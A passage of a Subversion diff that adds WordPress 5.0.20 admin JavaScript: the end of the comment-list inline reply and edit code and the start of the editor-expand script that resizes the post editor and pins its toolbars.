+			.find( '.error' ).empty();
+		$( '.spinner', replyrow ).removeClass( 'is-active' );
+
+		this.cid = '';
+		this.originalContent = '';
+	},
+
+	open : function(comment_id, post_id, action) {
+		var editRow, rowData, act, replyButton, editHeight,
+			t = this,
+			c = $('#comment-' + comment_id),
+			h = c.height(),
+			colspanVal = 0;
+
+		if ( ! this.discardCommentChanges() ) {
+			return false;
+		}
+
+		t.close();
+		t.cid = comment_id;
+
+		editRow = $('#replyrow');
+		rowData = $('#inline-'+comment_id);
+		action = action || 'replyto';
+		act = 'edit' == action ? 'edit' : 'replyto';
+		act = t.act = act + '-comment';
+		t.originalContent = $('textarea.comment', rowData).val();
+		colspanVal = $( '> th:visible, > td:visible', c ).length;
+
+		// Make sure it's actually a table and there's a `colspan` value to apply.
+		if ( editRow.hasClass( 'inline-edit-row' ) && 0 !== colspanVal ) {
+			$( 'td', editRow ).attr( 'colspan', colspanVal );
+		}
+
+		$('#action', editRow).val(act);
+		$('#comment_post_ID', editRow).val(post_id);
+		$('#comment_ID', editRow).val(comment_id);
+
+		if ( action == 'edit' ) {
+			$( '#author-name', editRow ).val( $( 'div.author', rowData ).text() );
+			$('#author-email', editRow).val( $('div.author-email', rowData).text() );
+			$('#author-url', editRow).val( $('div.author-url', rowData).text() );
+			$('#status', editRow).val( $('div.comment_status', rowData).text() );
+			$('#replycontent', editRow).val( $('textarea.comment', rowData).val() );
+			$( '#edithead, #editlegend, #savebtn', editRow ).show();
+			$('#replyhead, #replybtn, #addhead, #addbtn', editRow).hide();
+
+			if ( h > 120 ) {
+				// Limit the maximum height when editing very long comments to make it more manageable.
+				// The textarea is resizable in most browsers, so the user can adjust it if needed.
+				editHeight = h > 500 ? 500 : h;
+				$('#replycontent', editRow).css('height', editHeight + 'px');
+			}
+
+			c.after( editRow ).fadeOut('fast', function(){
+				$('#replyrow').fadeIn(300, function(){ $(this).show(); });
+			});
+		} else if ( action == 'add' ) {
+			$('#addhead, #addbtn', editRow).show();
+			$( '#replyhead, #replybtn, #edithead, #editlegend, #savebtn', editRow ) .hide();
+			$('#the-comment-list').prepend(editRow);
+			$('#replyrow').fadeIn(300);
+		} else {
+			replyButton = $('#replybtn', editRow);
+			$( '#edithead, #editlegend, #savebtn, #addhead, #addbtn', editRow ).hide();
+			$('#replyhead, #replybtn', editRow).show();
+			c.after(editRow);
+
+			if ( c.hasClass('unapproved') ) {
+				replyButton.text(adminCommentsL10n.replyApprove);
+			} else {
+				replyButton.text(adminCommentsL10n.reply);
+			}
+
+			$('#replyrow').fadeIn(300, function(){ $(this).show(); });
+		}
+
+		setTimeout(function() {
+			var rtop, rbottom, scrollTop, vp, scrollBottom;
+
+			rtop = $('#replyrow').offset().top;
+			rbottom = rtop + $('#replyrow').height();
+			scrollTop = window.pageYOffset || document.documentElement.scrollTop;
+			vp = document.documentElement.clientHeight || window.innerHeight || 0;
+			scrollBottom = scrollTop + vp;
+
+			if ( scrollBottom - 20 < rbottom )
+				window.scroll(0, rbottom - vp + 35);
+			else if ( rtop - 20 < scrollTop )
+				window.scroll(0, rtop - 35);
+
+			$('#replycontent').focus().keyup(function(e){
+				if ( e.which == 27 )
+					commentReply.revert(); // close on Escape
+			});
+		}, 600);
+
+		return false;
+	},
+
+	send : function() {
+		var post = {},
+			$errorNotice = $( '#replysubmit .error-notice' );
+
+		$errorNotice.addClass( 'hidden' );
+		$( '#replysubmit .spinner' ).addClass( 'is-active' );
+
+		$('#replyrow input').not(':button').each(function() {
+			var t = $(this);
+			post[ t.attr('name') ] = t.val();
+		});
+
+		post.content = $('#replycontent').val();
+		post.id = post.comment_post_ID;
+		post.comments_listing = this.comments_listing;
+		post.p = $('[name="p"]').val();
+
+		if ( $('#comment-' + $('#comment_ID').val()).hasClass('unapproved') )
+			post.approve_parent = 1;
+
+		$.ajax({
+			type : 'POST',
+			url : ajaxurl,
+			data : post,
+			success : function(x) { commentReply.show(x); },
+			error : function(r) { commentReply.error(r); }
+		});
+
+		return false;
+	},
+
+	show : function(xml) {
+		var t = this, r, c, id, bg, pid;
+
+		if ( typeof(xml) == 'string' ) {
+			t.error({'responseText': xml});
+			return false;
+		}
+
+		r = wpAjax.parseAjaxResponse(xml);
+		if ( r.errors ) {
+			t.error({'responseText': wpAjax.broken});
+			return false;
+		}
+
+		t.revert();
+
+		r = r.responses[0];
+		id = '#comment-' + r.id;
+
+		if ( 'edit-comment' == t.act )
+			$(id).remove();
+
+		if ( r.supplemental.parent_approved ) {
+			pid = $('#comment-' + r.supplemental.parent_approved);
+			updatePending( -1, r.supplemental.parent_post_id );
+
+			if ( this.comments_listing == 'moderated' ) {
+				pid.animate( { 'backgroundColor':'#CCEEBB' }, 400, function(){
+					pid.fadeOut();
+				});
+				return;
+			}
+		}
+
+		if ( r.supplemental.i18n_comments_text ) {
+			if ( isDashboard ) {
+				updateDashboardText( r.supplemental );
+			} else {
+				updateApproved( 1, r.supplemental.parent_post_id );
+				updateCountText( 'span.all-count', 1 );
+			}
+		}
+
+		c = $.trim(r.data); // Trim leading whitespaces
+		$(c).hide();
+		$('#replyrow').after(c);
+
+		id = $(id);
+		t.addEvents(id);
+		bg = id.hasClass('unapproved') ? '#FFFFE0' : id.closest('.widefat, .postbox').css('backgroundColor');
+
+		id.animate( { 'backgroundColor':'#CCEEBB' }, 300 )
+			.animate( { 'backgroundColor': bg }, 300, function() {
+				if ( pid && pid.length ) {
+					pid.animate( { 'backgroundColor':'#CCEEBB' }, 300 )
+						.animate( { 'backgroundColor': bg }, 300 )
+						.removeClass('unapproved').addClass('approved')
+						.find('div.comment_status').html('1');
+				}
+			});
+
+	},
+
+	error : function(r) {
+		var er = r.statusText,
+			$errorNotice = $( '#replysubmit .notice-error' ),
+			$error = $errorNotice.find( '.error' );
+
+		$( '#replysubmit .spinner' ).removeClass( 'is-active' );
+
+		if ( r.responseText )
+			er = r.responseText.replace( /<.[^<>]*?>/g, '' );
+
+		if ( er ) {
+			$errorNotice.removeClass( 'hidden' );
+			$error.html( er );
+		}
+	},
+
+	addcomment: function(post_id) {
+		var t = this;
+
+		$('#add-new-comment').fadeOut(200, function(){
+			t.open(0, post_id, 'add');
+			$('table.comments-box').css('display', '');
+			$('#no-comments').remove();
+		});
+	},
+
+	/**
+	 * Alert the user if they have unsaved changes on a comment that will be
+	 * lost if they proceed.
+	 *
+	 * @returns {boolean}
+	 */
+	discardCommentChanges: function() {
+		var editRow = $( '#replyrow' );
+
+		if  ( this.originalContent === $( '#replycontent', editRow ).val() ) {
+			return true;
+		}
+
+		return window.confirm( adminCommentsL10n.warnCommentChanges );
+	}
+};
+
+$(document).ready(function(){
+	var make_hotkeys_redirect, edit_comment, toggle_all, make_bulk;
+
+	setCommentsList();
+	commentReply.init();
+
+	$(document).on( 'click', 'span.delete a.delete', function( e ) {
+		e.preventDefault();
+	});
+
+	if ( typeof $.table_hotkeys != 'undefined' ) {
+		make_hotkeys_redirect = function(which) {
+			return function() {
+				var first_last, l;
+
+				first_last = 'next' == which? 'first' : 'last';
+				l = $('.tablenav-pages .'+which+'-page:not(.disabled)');
+				if (l.length)
+					window.location = l[0].href.replace(/\&hotkeys_highlight_(first|last)=1/g, '')+'&hotkeys_highlight_'+first_last+'=1';
+			};
+		};
+
+		edit_comment = function(event, current_row) {
+			window.location = $('span.edit a', current_row).attr('href');
+		};
+
+		toggle_all = function() {
+			$('#cb-select-all-1').data( 'wp-toggle', 1 ).trigger( 'click' ).removeData( 'wp-toggle' );
+		};
+
+		make_bulk = function(value) {
+			return function() {
+				var scope = $('select[name="action"]');
+				$('option[value="' + value + '"]', scope).prop('selected', true);
+				$('#doaction').click();
+			};
+		};
+
+		$.table_hotkeys(
+			$('table.widefat'),
+			[
+				'a', 'u', 's', 'd', 'r', 'q', 'z',
+				['e', edit_comment],
+				['shift+x', toggle_all],
+				['shift+a', make_bulk('approve')],
+				['shift+s', make_bulk('spam')],
+				['shift+d', make_bulk('delete')],
+				['shift+t', make_bulk('trash')],
+				['shift+z', make_bulk('untrash')],
+				['shift+u', make_bulk('unapprove')]
+			],
+			{
+				highlight_first: adminCommentsL10n.hotkeys_highlight_first,
+				highlight_last: adminCommentsL10n.hotkeys_highlight_last,
+				prev_page_link_cb: make_hotkeys_redirect('prev'),
+				next_page_link_cb: make_hotkeys_redirect('next'),
+				hotkeys_opts: {
+					disableInInput: true,
+					type: 'keypress',
+					noDisable: '.check-column input[type="checkbox"]'
+				},
+				cycle_expr: '#the-comment-list tr',
+				start_row_index: 0
+			}
+		);
+	}
+
+	// Quick Edit and Reply have an inline comment editor.
+	$( '#the-comment-list' ).on( 'click', '.comment-inline', function (e) {
+		e.preventDefault();
+		var $el = $( this ),
+			action = 'replyto';
+
+		if ( 'undefined' !== typeof $el.data( 'action' ) ) {
+			action = $el.data( 'action' );
+		}
+
+		commentReply.open( $el.data( 'commentId' ), $el.data( 'postId' ), action );
+	} );
+});
+
+})(jQuery);
Index: /tags/5.0.20/src/wp-admin/js/editor-expand.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/editor-expand.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/editor-expand.js	(revision 56912)
@@ -0,0 +1,1604 @@
+( function( window, $, undefined ) {
+	'use strict';
+
+	var $window = $( window ),
+		$document = $( document ),
+		$adminBar = $( '#wpadminbar' ),
+		$footer = $( '#wpfooter' );
+
+	/**
+	 * @summary Handles the resizing of the editor.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @returns {void}
+	 */
+	$( function() {
+		var $wrap = $( '#postdivrich' ),
+			$contentWrap = $( '#wp-content-wrap' ),
+			$tools = $( '#wp-content-editor-tools' ),
+			$visualTop = $(),
+			$visualEditor = $(),
+			$textTop = $( '#ed_toolbar' ),
+			$textEditor = $( '#content' ),
+			textEditor = $textEditor[0],
+			oldTextLength = 0,
+			$bottom = $( '#post-status-info' ),
+			$menuBar = $(),
+			$statusBar = $(),
+			$sideSortables = $( '#side-sortables' ),
+			$postboxContainer = $( '#postbox-container-1' ),
+			$postBody = $('#post-body'),
+			fullscreen = window.wp.editor && window.wp.editor.fullscreen,
+			mceEditor,
+			mceBind = function(){},
+			mceUnbind = function(){},
+			fixedTop = false,
+			fixedBottom = false,
+			fixedSideTop = false,
+			fixedSideBottom = false,
+			scrollTimer,
+			lastScrollPosition = 0,
+			pageYOffsetAtTop = 130,
+			pinnedToolsTop = 56,
+			sidebarBottom = 20,
+			autoresizeMinHeight = 300,
+			initialMode = $contentWrap.hasClass( 'tmce-active' ) ? 'tinymce' : 'html',
+			advanced = !! parseInt( window.getUserSetting( 'hidetb' ), 10 ),
+			// These are corrected when adjust() runs, except on scrolling if already set.
+			heights = {
+				windowHeight: 0,
+				windowWidth: 0,
+				adminBarHeight: 0,
+				toolsHeight: 0,
+				menuBarHeight: 0,
+				visualTopHeight: 0,
+				textTopHeight: 0,
+				bottomHeight: 0,
+				statusBarHeight: 0,
+				sideSortablesHeight: 0
+			};
+
+		/**
+		 * @summary Resizes textarea based on scroll height and width.
+		 *
+		 * Resizes textarea based on scroll height and width. Doesn't shrink the
+		 * editor size below the 300px auto resize minimum height.
+		 *
+		 * @since 4.6.1
+		 *
+		 * @returns {void}
+		 */
+		var shrinkTextarea = window._.throttle( function() {
+			var x = window.scrollX || document.documentElement.scrollLeft;
+			var y = window.scrollY || document.documentElement.scrollTop;
+			var height = parseInt( textEditor.style.height, 10 );
+
+			textEditor.style.height = autoresizeMinHeight + 'px';
+
+			if ( textEditor.scrollHeight > autoresizeMinHeight ) {
+				textEditor.style.height = textEditor.scrollHeight + 'px';
+			}
+
+			if ( typeof x !== 'undefined' ) {
+				window.scrollTo( x, y );
+			}
+
+			if ( textEditor.scrollHeight < height ) {
+				adjust();
+			}
+		}, 300 );
+
+		/**
+		 * @summary Resizes the text editor depending on the old text length.
+		 *
+		 * If there is an mceEditor and it is hidden, it resizes the editor depending
+		 * on the old text length. If the current length of the text is smaller than
+		 * the old text length, it shrinks the text area. Otherwise it resizes the editor to
+		 * the scroll height.
+		 *
+		 * @since 4.6.1
+		 *
+		 * @returns {void}
+		 */
+		function textEditorResize() {
+			var length = textEditor.value.length;
+
+			if ( mceEditor && ! mceEditor.isHidden() ) {
+				return;
+			}
+
+			if ( ! mceEditor && initialMode === 'tinymce' ) {
+				return;
+			}
+
+			if ( length < oldTextLength ) {
+				shrinkTextarea();
+			} else if ( parseInt( textEditor.style.height, 10 ) < textEditor.scrollHeight ) {
+				textEditor.style.height = Math.ceil( textEditor.scrollHeight ) + 'px';
+				adjust();
+			}
+
+			oldTextLength = length;
+		}
+
+		/**
+		 * @summary Gets the height and widths of elements.
+		 *
+		 * Gets the heights of the window, the adminbar, the tools, the menu,
+		 * the visualTop, the textTop, the bottom, the statusbar and sideSortables
+		 * and stores these in the heights object. Defaults to 0.
+		 * Gets the width of the window and stores this in the heights object.
+		 *
+		 * @since 4.0.0
+		 *
+		 * @returns {void}
+		 */
+		function getHeights() {
+			var windowWidth = $window.width();
+
+			heights = {
+				windowHeight: $window.height(),
+				windowWidth: windowWidth,
+				adminBarHeight: ( windowWidth > 600 ? $adminBar.outerHeight() : 0 ),
+				toolsHeight: $tools.outerHeight() || 0,
+				menuBarHeight: $menuBar.outerHeight() || 0,
+				visualTopHeight: $visualTop.outerHeight() || 0,
+				textTopHeight: $textTop.outerHeight() || 0,
+				bottomHeight: $bottom.outerHeight() || 0,
+				statusBarHeight: $statusBar.outerHeight() || 0,
+				sideSortablesHeight: $sideSortables.height() || 0
+			};
+
+			// Adjust for hidden menubar.
+			if ( heights.menuBarHeight < 3 ) {
+				heights.menuBarHeight = 0;
+			}
+		}
+
+		// We need to wait for TinyMCE to initialize.
+		/**
+		 * @summary Binds all necessary functions for editor expand to the editor
+		 * when the editor is initialized.
+		 *
+		 * @since 4.0.0
+		 *
+		 * @param {event} event The TinyMCE editor init event.
+		 * @param {object} editor The editor to bind the vents on.
+		 *
+		 * @returns {void}
+		 */
+		$document.on( 'tinymce-editor-init.editor-expand', function( event, editor ) {
+			// VK contains the type of key pressed. VK = virtual keyboard.
+			var VK = window.tinymce.util.VK,
+				/**
+				 * @summary Hides any float panel with a hover state. Additionally hides tooltips.
+				 *
+				 * @returns {void}
+				 */
+				hideFloatPanels = _.debounce( function() {
+					! $( '.mce-floatpanel:hover' ).length && window.tinymce.ui.FloatPanel.hideAll();
+					$( '.mce-tooltip' ).hide();
+				}, 1000, true );
+
+			// Make sure it's the main editor.
+			if ( editor.id !== 'content' ) {
+				return;
+			}
+
+			// Copy the editor instance.
+			mceEditor = editor;
+
+			// Set the minimum height to the initial viewport height.
+			editor.settings.autoresize_min_height = autoresizeMinHeight;
+
+			// Get the necessary UI elements.
+			$visualTop = $contentWrap.find( '.mce-toolbar-grp' );
+			$visualEditor = $contentWrap.find( '.mce-edit-area' );
+			$statusBar = $contentWrap.find( '.mce-statusbar' );
+			$menuBar = $contentWrap.find( '.mce-menubar' );
+
+			/**
+			 * @summary Gets the offset of the editor.
+			 *
+			 * @returns {Number|Boolean} Returns the offset of the editor
+			 * or false if there is no offset height.
+			 */
+			function mceGetCursorOffset() {
+				var node = editor.selection.getNode(),
+					range, view, offset;
+
+				/*
+				 * If editor.wp.getView and the selection node from the editor selection
+				 * are defined, use this as a view for the offset.
+				 */
+				if ( editor.wp && editor.wp.getView && ( view = editor.wp.getView( node ) ) ) {
+					offset = view.getBoundingClientRect();
+				} else {
+					range = editor.selection.getRng();
+
+					// Try to get the offset from a range.
+					try {
+						offset = range.getClientRects()[0];
+					} catch( er ) {}
+
+					// Get the offset from the bounding client rectangle of the node.
+					if ( ! offset ) {
+						offset = node.getBoundingClientRect();
+					}
+				}
+
+				return offset.height ? offset : false;
+			}
+
+			/**
+			 * @summary Filters the special keys that should not be used for scrolling.
+			 *
+			 * @since 4.0.0
+			 *
+			 * @param {event} event The event to get the key code from.
+			 *
+			 * @returns {void}
+			 */
+			function mceKeyup( event ) {
+				var key = event.keyCode;
+
+				// Bail on special keys. Key code 47 is a /
+				if ( key <= 47 && ! ( key === VK.SPACEBAR || key === VK.ENTER || key === VK.DELETE || key === VK.BACKSPACE || key === VK.UP || key === VK.LEFT || key === VK.DOWN || key === VK.UP ) ) {
+					return;
+				// OS keys, function keys, num lock, scroll lock. Key code 91-93 are OS keys. Key code 112-123 are F1 to F12. Key code 144 is num lock. Key code 145 is scroll lock.
+				} else if ( ( key >= 91 && key <= 93 ) || ( key >= 112 && key <= 123 ) || key === 144 || key === 145 ) {
+					return;
+				}
+
+				mceScroll( key );
+			}
+
+			/**
+			 * @summary Makes sure the cursor is always visible in the editor.
+			 *
+			 * Makes sure the cursor is kept between the toolbars of the editor and scrolls
+			 * the window when the cursor moves out of the viewport to a wpview.
+			 * Setting a buffer > 0 will prevent the browser default.
+			 * Some browsers will scroll to the middle,
+			 * others to the top/bottom of the *window* when moving the cursor out of the viewport.
+			 *
+			 * @since 4.1.0
+			 *
+			 * @param {string} key The key code of the pressed key.
+			 *
+			 * @returns {void}
+			 */
+			function mceScroll( key ) {
+				var offset = mceGetCursorOffset(),
+					buffer = 50,
+					cursorTop, cursorBottom, editorTop, editorBottom;
+
+				// Don't scroll if there is no offset.
+				if ( ! offset ) {
+					return;
+				}
+
+				// Determine the cursorTop based on the offset and the top of the editor iframe.
+				cursorTop = offset.top + editor.iframeElement.getBoundingClientRect().top;
+
+				// Determine the cursorBottom based on the cursorTop and offset height.
+				cursorBottom = cursorTop + offset.height;
+
+				// Subtract the buffer from the cursorTop.
+				cursorTop = cursorTop - buffer;
+
+				// Add the buffer to the cursorBottom.
+				cursorBottom = cursorBottom + buffer;
+				editorTop = heights.adminBarHeight + heights.toolsHeight + heights.menuBarHeight + heights.visualTopHeight;
+
+				/*
+				 * Set the editorBottom based on the window Height, and add the bottomHeight and statusBarHeight if the
+				 * advanced editor is enabled.
+				 */
+				editorBottom = heights.windowHeight - ( advanced ? heights.bottomHeight + heights.statusBarHeight : 0 );
+
+				// Don't scroll if the node is taller than the visible part of the editor.
+				if ( editorBottom - editorTop < offset.height ) {
+					return;
+				}
+
+				/*
+				 * If the cursorTop is smaller than the editorTop and the up, left
+				 * or backspace key is pressed, scroll the editor to the position defined
+				 * by the cursorTop, pageYOffset and editorTop.
+				 */
+				if ( cursorTop < editorTop && ( key === VK.UP || key === VK.LEFT || key === VK.BACKSPACE ) ) {
+					window.scrollTo( window.pageXOffset, cursorTop + window.pageYOffset - editorTop );
+
+				/*
+				 * If any other key is pressed or the cursorTop is bigger than the editorTop,
+				 * scroll the editor to the position defined by the cursorBottom,
+				 * pageYOffset and editorBottom.
+				 */
+				} else if ( cursorBottom > editorBottom ) {
+					window.scrollTo( window.pageXOffset, cursorBottom + window.pageYOffset - editorBottom );
+				}
+			}
+
+			/**
+			 * @summary If the editor is fullscreen, calls adjust.
+			 *
+			 * @since 4.1.0
+			 *
+			 * @param {event} event The FullscreenStateChanged event.
+			 *
+			 * @returns {void}
+			 */
+			function mceFullscreenToggled( event ) {
+				// event.state is true if the editor is fullscreen.
+				if ( ! event.state ) {
+					adjust();
+				}
+			}
+
+			/**
+			 * @summary Shows the editor when scrolled.
+			 *
+			 * Binds the hideFloatPanels function on the window scroll.mce-float-panels event.
+			 * Executes the wpAutoResize on the active editor.
+			 *
+			 * @since 4.0.0
+			 *
+			 * @returns {void}
+			 */
+			function mceShow() {
+				$window.on( 'scroll.mce-float-panels', hideFloatPanels );
+
+				setTimeout( function() {
+					editor.execCommand( 'wpAutoResize' );
+					adjust();
+				}, 300 );
+			}
+
+			/**
+			 * @summary Resizes the editor.
+			 *
+			 * Removes all functions from the window scroll.mce-float-panels event.
+			 * Resizes the text editor and scrolls to a position based on the pageXOffset and adminBarHeight.
+			 *
+			 * @since 4.0.0
+			 *
+			 * @returns {void}
+			 */
+			function mceHide() {
+				$window.off( 'scroll.mce-float-panels' );
+
+				setTimeout( function() {
+					var top = $contentWrap.offset().top;
+
+					if ( window.pageYOffset > top ) {
+						window.scrollTo( window.pageXOffset, top - heights.adminBarHeight );
+					}
+
+					textEditorResize();
+					adjust();
+				}, 100 );
+
+				adjust();
+			}
+
+			/**
+			 * @summary Toggles advanced states.
+			 *
+			 * @since 4.1.0
+			 *
+			 * @returns {void}
+			 */
+			function toggleAdvanced() {
+				advanced = ! advanced;
+			}
+
+			/**
+			 * @summary Binds events of the editor and window.
+			 *
+			 * @since 4.0.0
+			 *
+			 * @returns {void}
+			 */
+			mceBind = function() {
+				editor.on( 'keyup', mceKeyup );
+				editor.on( 'show', mceShow );
+				editor.on( 'hide', mceHide );
+				editor.on( 'wp-toolbar-toggle', toggleAdvanced );
+
+				// Adjust when the editor resizes.
+				editor.on( 'setcontent wp-autoresize wp-toolbar-toggle', adjust );
+
+				// Don't hide the caret after undo/redo.
+				editor.on( 'undo redo', mceScroll );
+
+				// Adjust when exiting TinyMCE's fullscreen mode.
+				editor.on( 'FullscreenStateChanged', mceFullscreenToggled );
+
+				$window.off( 'scroll.mce-float-panels' ).on( 'scroll.mce-float-panels', hideFloatPanels );
+			};
+
+			/**
+			 * @summary Unbinds the events of the editor and window.
+			 *
+			 * @since 4.0.0
+			 *
+			 * @returns {void}
+			 */
+			mceUnbind = function() {
+				editor.off( 'keyup', mceKeyup );
+				editor.off( 'show', mceShow );
+				editor.off( 'hide', mceHide );
+				editor.off( 'wp-toolbar-toggle', toggleAdvanced );
+				editor.off( 'setcontent wp-autoresize wp-toolbar-toggle', adjust );
+				editor.off( 'undo redo', mceScroll );
+				editor.off( 'FullscreenStateChanged', mceFullscreenToggled );
+
+				$window.off( 'scroll.mce-float-panels' );
+			};
+
+			if ( $wrap.hasClass( 'wp-editor-expand' ) ) {
+
+				// Adjust "immediately".
+				mceBind();
+				initialResize( adjust );
+			}
+		} );
+
+		/**
+		 * @summary Adjusts the toolbars heights and positions.
+		 *
+		 * Adjusts the toolbar heights and positions based on the scroll position on the page,
+		 * the active editor mode and the heights of the editor, admin bar and side bar.
+		 *
+		 * @since 4.0.0
+		 *
+		 * @param {event} event The event that calls this function.
+		 *
+		 * @returns {void}
+		 */
+		function adjust( event ) {
+
+			// Makes sure we're not in fullscreen mode.
+			if ( fullscreen && fullscreen.settings.visible ) {
+				return;
+			}
+
+			var windowPos = $window.scrollTop(),
+				type = event && event.type,
+				resize = type !== 'scroll',
+				visual = mceEditor && ! mceEditor.isHidden(),
+				buffer = autoresizeMinHeight,
+				postBodyTop = $postBody.offset().top,
+				borderWidth = 1,
+				contentWrapWidth = $contentWrap.width(),
+				$top, $editor, sidebarTop, footerTop, canPin,
+				topPos, topHeight, editorPos, editorHeight;
+
+			/*
+			 * Refresh the heights if type isn't 'scroll'
+			 * or heights.windowHeight isn't set.
+			 */
+			if ( resize || ! heights.windowHeight ) {
+				getHeights();
+			}
+
+			// Resize on resize event when the editor is in text mode.
+			if ( ! visual && type === 'resize' ) {
+				textEditorResize();
+			}
+
+			if ( visual ) {
+				$top = $visualTop;
+				$editor = $visualEditor;
+				topHeight = heights.visualTopHeight;
+			} else {
+				$top = $textTop;
+				$editor = $textEditor;
+				topHeight = heights.textTopHeight;
+			}
+
+			// Return if TinyMCE is still intializing.
+			if ( ! visual && ! $top.length ) {
+				return;
+			}
+
+			topPos = $top.parent().offset().top;
+			editorPos = $editor.offset().top;
+			editorHeight = $editor.outerHeight();
+
+			/*
+			 * If in visual mode, checks if the editorHeight is greater than the autoresizeMinHeight + topHeight.
+			 * If not in visual mode, checks if the editorHeight is greater than the autoresizeMinHeight + 20.
+			 */
+			canPin = visual ? autoresizeMinHeight + topHeight : autoresizeMinHeight + 20; // 20px from textarea padding
+			canPin = editorHeight > ( canPin + 5 );
+
+			if ( ! canPin ) {
+				if ( resize ) {
+					$tools.css( {
+						position: 'absolute',
+						top: 0,
+						width: contentWrapWidth
+					} );
+
+					if ( visual && $menuBar.length ) {
+						$menuBar.css( {
+							position: 'absolute',
+							top: 0,
+							width: contentWrapWidth - ( borderWidth * 2 )
+						} );
+					}
+
+					$top.css( {
+						position: 'absolute',
+						top: heights.menuBarHeight,
+						width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) )
+					} );
+
+					$statusBar.attr( 'style', advanced ? '' : 'visibility: hidden;' );
+					$bottom.attr( 'style', '' );
+				}
+			} else {
+				// Check if the top is not already in a fixed position.
+				if ( ( ! fixedTop || resize ) &&
+					( windowPos >= ( topPos - heights.toolsHeight - heights.adminBarHeight ) &&
+					windowPos <= ( topPos - heights.toolsHeight - heights.adminBarHeight + editorHeight - buffer ) ) ) {
+					fixedTop = true;
+
+					$tools.css( {
+						position: 'fixed',
+						top: heights.adminBarHeight,
+						width: contentWrapWidth
+					} );
+
+					if ( visual && $menuBar.length ) {
+						$menuBar.css( {
+							position: 'fixed',
+							top: heights.adminBarHeight + heights.toolsHeight,
+							width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) )
+						} );
+					}
+
+					$top.css( {
+						position: 'fixed',
+						top: heights.adminBarHeight + heights.toolsHeight + heights.menuBarHeight,
+						width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) )
+					} );
+					// Check if the top is already in a fixed position.
+				} else if ( fixedTop || resize ) {
+					if ( windowPos <= ( topPos - heights.toolsHeight - heights.adminBarHeight ) ) {
+						fixedTop = false;
+
+						$tools.css( {
+							position: 'absolute',
+							top: 0,
+							width: contentWrapWidth
+						} );
+
+						if ( visual && $menuBar.length ) {
+							$menuBar.css( {
+								position: 'absolute',
+								top: 0,
+								width: contentWrapWidth - ( borderWidth * 2 )
+							} );
+						}
+
+						$top.css( {
+							position: 'absolute',
+							top: heights.menuBarHeight,
+							width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) )
+						} );
+					} else if ( windowPos >= ( topPos - heights.toolsHeight - heights.adminBarHeight + editorHeight - buffer ) ) {
+						fixedTop = false;
+
+						$tools.css( {
+							position: 'absolute',
+							top: editorHeight - buffer,
+							width: contentWrapWidth
+						} );
+
+						if ( visual && $menuBar.length ) {
+							$menuBar.css( {
+								position: 'absolute',
+								top: editorHeight - buffer,
+								width: contentWrapWidth - ( borderWidth * 2 )
+							} );
+						}
+
+						$top.css( {
+							position: 'absolute',
+							top: editorHeight - buffer + heights.menuBarHeight,
+							width: contentWrapWidth - ( borderWidth * 2 ) - ( visual ? 0 : ( $top.outerWidth() - $top.width() ) )
+						} );
+					}
+				}
+
+				// Check if the bottom is not already in a fixed position.
+				if ( ( ! fixedBottom || ( resize && advanced ) ) &&
+						// Add borderWidth for the border around the .wp-editor-container.
+						( windowPos + heights.windowHeight ) <= ( editorPos + editorHeight + heights.bottomHeight + heights.statusBarHeight + borderWidth ) ) {
+
+					if ( event && event.deltaHeight > 0 && event.deltaHeight < 100 ) {
+						window.scrollBy( 0, event.deltaHeight );
+					} else if ( visual && advanced ) {
+						fixedBottom = true;
+
+						$statusBar.css( {
+							position: 'fixed',
+							bottom: heights.bottomHeight,
+							visibility: '',
+							width: contentWrapWidth - ( borderWidth * 2 )
+						} );
+
+						$bottom.css( {
+							position: 'fixed',
+							bottom: 0,
+							width: contentWrapWidth
+						} );
+					}
+				} else if ( ( ! advanced && fixedBottom ) ||
+						( ( fixedBottom || resize ) &&
+						( windowPos + heights.windowHeight ) > ( editorPos + editorHeight + heights.bottomHeight + heights.statusBarHeight - borderWidth ) ) ) {
+					fixedBottom = false;
+
+					$statusBar.attr( 'style', advanced ? '' : 'visibility: hidden;' );
+					$bottom.attr( 'style', '' );
+				}
+			}
+
+			// The postbox container is positioned with @media from CSS. Ensure it is pinned on the side.
+			if ( $postboxContainer.width() < 300 && heights.windowWidth > 600 &&
+
+				// Check if the sidebar is not taller than the document height.
+				$document.height() > ( $sideSortables.height() + postBodyTop + 120 ) &&
+
+				// Check if the editor is taller than the viewport.
+				heights.windowHeight < editorHeight ) {
+
+				if ( ( heights.sideSortablesHeight + pinnedToolsTop + sidebarBottom ) > heights.windowHeight || fixedSideTop || fixedSideBottom ) {
+
+					// Reset the sideSortables style when scrolling to the top.
+					if ( windowPos + pinnedToolsTop <= postBodyTop ) {
+						$sideSortables.attr( 'style', '' );
+						fixedSideTop = fixedSideBottom = false;
+					} else {
+
+						// When scrolling down.
+						if ( windowPos > lastScrollPosition ) {
+							if ( fixedSideTop ) {
+
+								// Let it scroll.
+								fixedSideTop = false;
+								sidebarTop = $sideSortables.offset().top - heights.adminBarHeight;
+								footerTop = $footer.offset().top;
+
+								// Don't get over the footer.
+								if ( footerTop < sidebarTop + heights.sideSortablesHeight + sidebarBottom ) {
+									sidebarTop = footerTop - heights.sideSortablesHeight - 12;
+								}
+
+								$sideSortables.css({
+									position: 'absolute',
+									top: sidebarTop,
+									bottom: ''
+								});
+							} else if ( ! fixedSideBottom && heights.sideSortablesHeight + $sideSortables.offset().top + sidebarBottom < windowPos + heights.windowHeight ) {
+								// Pin the bottom.
+								fixedSideBottom = true;
+
+								$sideSortables.css({
+									position: 'fixed',
+									top: 'auto',
+									bottom: sidebarBottom
+								});
+							}
+
+						// When scrolling up.
+						} else if ( windowPos < lastScrollPosition ) {
+							if ( fixedSideBottom ) {
+								// Let it scroll.
+								fixedSideBottom = false;
+								sidebarTop = $sideSortables.offset().top - sidebarBottom;
+								footerTop = $footer.offset().top;
+
+								// Don't get over the footer.
+								if ( footerTop < sidebarTop + heights.sideSortablesHeight + sidebarBottom ) {
+									sidebarTop = footerTop - heights.sideSortablesHeight - 12;
+								}
+
+								$sideSortables.css({
+									position: 'absolute',
+									top: sidebarTop,
+									bottom: ''
+								});
